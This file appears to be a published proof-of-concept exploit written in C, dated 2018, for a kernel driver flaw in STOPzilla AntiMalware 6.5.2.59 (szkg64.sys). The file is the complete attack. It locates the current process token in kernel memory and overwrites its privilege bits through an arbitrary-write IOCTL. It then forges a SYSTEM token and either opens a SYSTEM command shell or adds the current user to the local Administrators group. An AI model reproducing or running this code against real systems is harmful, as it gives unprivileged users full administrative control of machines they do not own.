/* # Exploit Title: STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation # Date: 2018-09-13 # Author: Parvez Anwar (@parvezghh) # Vendor Homepage: https://www.stopzilla.com/ # Software link: https://download.stopzilla.com/binaries/stopzilla/auto_installer/STOPzillaAntiMalware.msi # Tested Version: 6.5.2.59 # Driver Version: 3.0.23.0 - szkg64.sys # Tested on OS: 64bit Windows 7 and Windows 10 (1803) # CVE ID: N/A # Vendor fix url - No response from vendor # Fixed Version - 0day # Fixed driver ver - 0day # https://www.greyhathacker.net/?p=1025 */ #include #include #include #include #pragma comment(lib,"winsta.lib") #pragma comment(lib,"advapi32.lib") #define SystemHandleInformation 16 #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) void WINAPI WinStationSwitchToServicesSession(); typedef unsigned __int64 QWORD; typedef struct _SID_BUILTIN { UCHAR Revision; UCHAR SubAuthorityCount; SID_IDENTIFIER_AUTHORITY IdentifierAuthority; ULONG SubAuthority[2]; } SID_BUILTIN, *PSID_BUILTIN; typedef struct _SID_INTEGRITY { UCHAR Revision; UCHAR SubAuthorityCount; SID_IDENTIFIER_AUTHORITY IdentifierAuthority; ULONG SubAuthority[1]; } SID_INTEGRITY, *PSID_INTEGRITY; typedef NTSYSAPI NTSTATUS (NTAPI *_ZwCreateToken)( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE Type, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, IN PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN PTOKEN_DEFAULT_DACL DefaultDacl, IN PTOKEN_SOURCE Source ); typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; QWORD Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); int GetWindowsVersion() { int ver = 0; OSVERSIONINFO osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi); if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) ver = 1; // Windows 7 if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) ver = 2; // Windows 10 return ver; } int spawnShell(HANDLE hTokenElevated) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(STARTUPINFO); si.lpDesktop = "WinSta0\\Default"; if (!CreateProcessAsUser(hTokenElevated, NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError()); return -1; } printf("\n[+] Executed command successfully"); printf("\n[*] Switching session . . .\n\n"); WinStationSwitchToServicesSession(); return 0; } int AddAccountToAdminGroup(HANDLE hTokenElevated) { STARTUPINFO si; PROCESS_INFORMATION pi; DWORD currentusersize; char currentuser[100]; char netcommand[MAX_PATH]; ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(STARTUPINFO); currentusersize = sizeof(currentuser); if (!GetUserName(currentuser, ¤tusersize)) { printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError()); return -1; } printf("\n[*] Adding current user '%s' account to the local administrators group", currentuser); sprintf(netcommand, "net localgroup Administrators %s /add", currentuser); if (!CreateProcessAsUser(hTokenElevated, NULL, netcommand, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError()); return -1; } printf("\n[+] Executed command successfully\n"); return 0; } PTOKEN_PRIVILEGES SetPrivileges() { PTOKEN_PRIVILEGES privileges; LUID luid; int NumOfPrivileges = 5; int nBufferSize; nBufferSize = sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES) * NumOfPrivileges; privileges = (PTOKEN_PRIVILEGES) LocalAlloc(LPTR, nBufferSize); privileges->PrivilegeCount = NumOfPrivileges; LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid); privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; privileges->Privileges[0].Luid = luid; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; privileges->Privileges[1].Luid = luid; LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid); privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; privileges->Privileges[2].Luid = luid; LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid); privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED; privileges->Privileges[3].Luid = luid; LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid); privileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED; privileges->Privileges[4].Luid = luid; return privileges; } PSID GetLocalSystemSID() { PSID psid = NULL; SID_IDENTIFIER_AUTHORITY sidAuth = SECURITY_NT_AUTHORITY; if (AllocateAndInitializeSid(&sidAuth, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &psid) == FALSE) { printf("\n[-] AllocateAndInitializeSid failed %d\n", GetLastError()); return NULL; } return psid; } LPVOID GetInfoFromToken(HANDLE hToken, TOKEN_INFORMATION_CLASS type) { DWORD dwLengthNeeded; LPVOID lpData = NULL; if (!GetTokenInformation(hToken, type, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) { printf("\n[-] Failed to initialize GetTokenInformation %d", GetLastError()); return NULL; } lpData = (LPVOID)LocalAlloc(LPTR, dwLengthNeeded); GetTokenInformation(hToken, type, lpData, dwLengthNeeded, &dwLengthNeeded); return lpData; } QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID) { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo; ULONG i; PSYSTEM_HANDLE pHandle; QWORD TokenAddress = 0; DWORD nSize = 4096; DWORD nReturn; BOOL tProcess; HANDLE hToken; if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE) { printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError()); return -1; } NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } do { nSize += 4096; pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH); printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken); for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++) { if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken) { TokenAddress = pSysHandleInfo->Handles[i].Object; } } HeapFree(GetProcessHeap(), 0, pSysHandleInfo); return TokenAddress; } HANDLE CreateUserToken(HANDLE hToken) { _ZwCreateToken ZwCreateToken; HANDLE hTokenElevated; NTSTATUS status; int i; DWORD dwSize = 0; TOKEN_USER userToken; PTOKEN_PRIVILEGES privileges = NULL; PTOKEN_OWNER ownerToken = NULL; PTOKEN_GROUPS groups = NULL; PTOKEN_PRIMARY_GROUP primary_group = NULL; PTOKEN_DEFAULT_DACL default_dacl = NULL; PLUID pluidAuth; LARGE_INTEGER li; PLARGE_INTEGER pli; LUID authid = SYSTEM_LUID; LUID luid; PSID_AND_ATTRIBUTES pSid; SID_BUILTIN TkSidLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, DOMAIN_ALIAS_RID_ADMINS } }; SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE }; OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; TOKEN_SOURCE SourceToken = { { '!', '!', '!', '!', '!', '!', '!', '!' }, { 0, 0 } }; SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY; PSID lpSidOwner = NULL; SID_INTEGRITY IntegritySIDSystem = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_SYSTEM_RID }; ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwCreateToken"); if (ZwCreateToken == NULL) { printf("[-] Unable to resolve ZwCreateToken: %d\n\n", GetLastError()); return NULL; } groups = (PTOKEN_GROUPS)GetInfoFromToken(hToken, TokenGroups); primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken(hToken, TokenPrimaryGroup); default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken(hToken, TokenDefaultDacl); pSid = groups->Groups; for (i=0; iGroupCount; i++, pSid++) { PISID piSid = (PISID)pSid->Sid; if (pSid->Attributes & SE_GROUP_INTEGRITY) { memcpy(pSid->Sid, &IntegritySIDSystem, sizeof(IntegritySIDSystem)); } if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS) { memcpy(piSid, &TkSidLocalAdminGroup, sizeof(TkSidLocalAdminGroup)); // Found RID_USERS membership, overwrite with RID_ADMINS pSid->Attributes = SE_GROUP_ENABLED; } else { pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY; pSid->Attributes &= ~SE_GROUP_ENABLED; } } pluidAuth = &authid; li.LowPart = 0xFFFFFFFF; li.HighPart = 0xFFFFFFFF; pli = &li; AllocateAndInitializeSid(&nt, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &lpSidOwner); userToken.User.Sid = lpSidOwner; userToken.User.Attributes = 0; AllocateLocallyUniqueId(&luid); SourceToken.SourceIdentifier.LowPart = luid.LowPart; SourceToken.SourceIdentifier.HighPart = luid.HighPart; ownerToken = (PTOKEN_OWNER) LocalAlloc(LPTR, sizeof(PSID)); ownerToken->Owner = GetLocalSystemSID(); privileges = SetPrivileges(); status = ZwCreateToken(&hTokenElevated, TOKEN_ALL_ACCESS, &oa, TokenPrimary, pluidAuth, pli, &userToken, groups, privileges, ownerToken, primary_group, default_dacl, &SourceToken); if (status == STATUS_SUCCESS) { printf("\n[+] New token created successfully\n"); return hTokenElevated; } else { // printf("\n[-] Failed to create new token %08x\n", status); return NULL; } if (lpSidOwner) FreeSid(lpSidOwner); if (groups) LocalFree(groups); if (privileges) LocalFree(privileges); if (primary_group) LocalFree(primary_group); if (default_dacl) LocalFree(default_dacl); if (ownerToken) { if(ownerToken->Owner) FreeSid(ownerToken->Owner); LocalFree(ownerToken); } return NULL; } int main(int argc, char *argv[]) { QWORD TokenAddressTarget; QWORD SepPrivilegesOffset = 0x40; QWORD PresentByteOffset; QWORD EnableByteOffset; QWORD TokenAddress; HANDLE hDevice; char devhandle[MAX_PATH]; DWORD dwRetBytes = 0; HANDLE hTokenCurrent; HANDLE hTokenElevate; printf("-------------------------------------------------------------------------------\n"); printf(" STOPzilla AntiMalware (szkg64.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on 64bit Windows 7 / Windows 10 (1803) \n"); printf("-------------------------------------------------------------------------------\n"); TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId()); printf("\n[i] Address of current process token 0x%p", TokenAddress); TokenAddressTarget = TokenAddress + SepPrivilegesOffset; printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget); PresentByteOffset = TokenAddressTarget + 0x0; printf("[i] Present bits at 0x%p will be overwritten\n", PresentByteOffset); EnableByteOffset = TokenAddressTarget + 0x8; printf("[i] Enabled bits at 0x%p will be overwritten", EnableByteOffset); sprintf(devhandle, "\\\\.\\%s", "msprocess"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . .\n"); getch(); if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrent)) { printf("[-] Failed OpenProcessToken() %d\n\n", GetLastError()); return NULL; } printf("[+] OpenProcessToken() handle opened successfully"); do { printf("\n[*] Overwriting _SEP_TOKEN_PRIVILEGES bits"); DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL); DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL); hTokenElevate = CreateUserToken(hTokenCurrent); Sleep(500); } while (hTokenElevate == NULL); if (GetWindowsVersion() == 1) { printf("[i] Running Windows 7"); printf("\n[*] Spawning SYSTEM Shell"); spawnShell(hTokenElevate); } if (GetWindowsVersion() == 2) { printf("[i] Running Windows 10"); AddAccountToAdminGroup(hTokenElevate); } else if (GetWindowsVersion() == 0) { printf("[i] Exploit not tested on this OS\n\n"); } CloseHandle(hDevice); return 0; }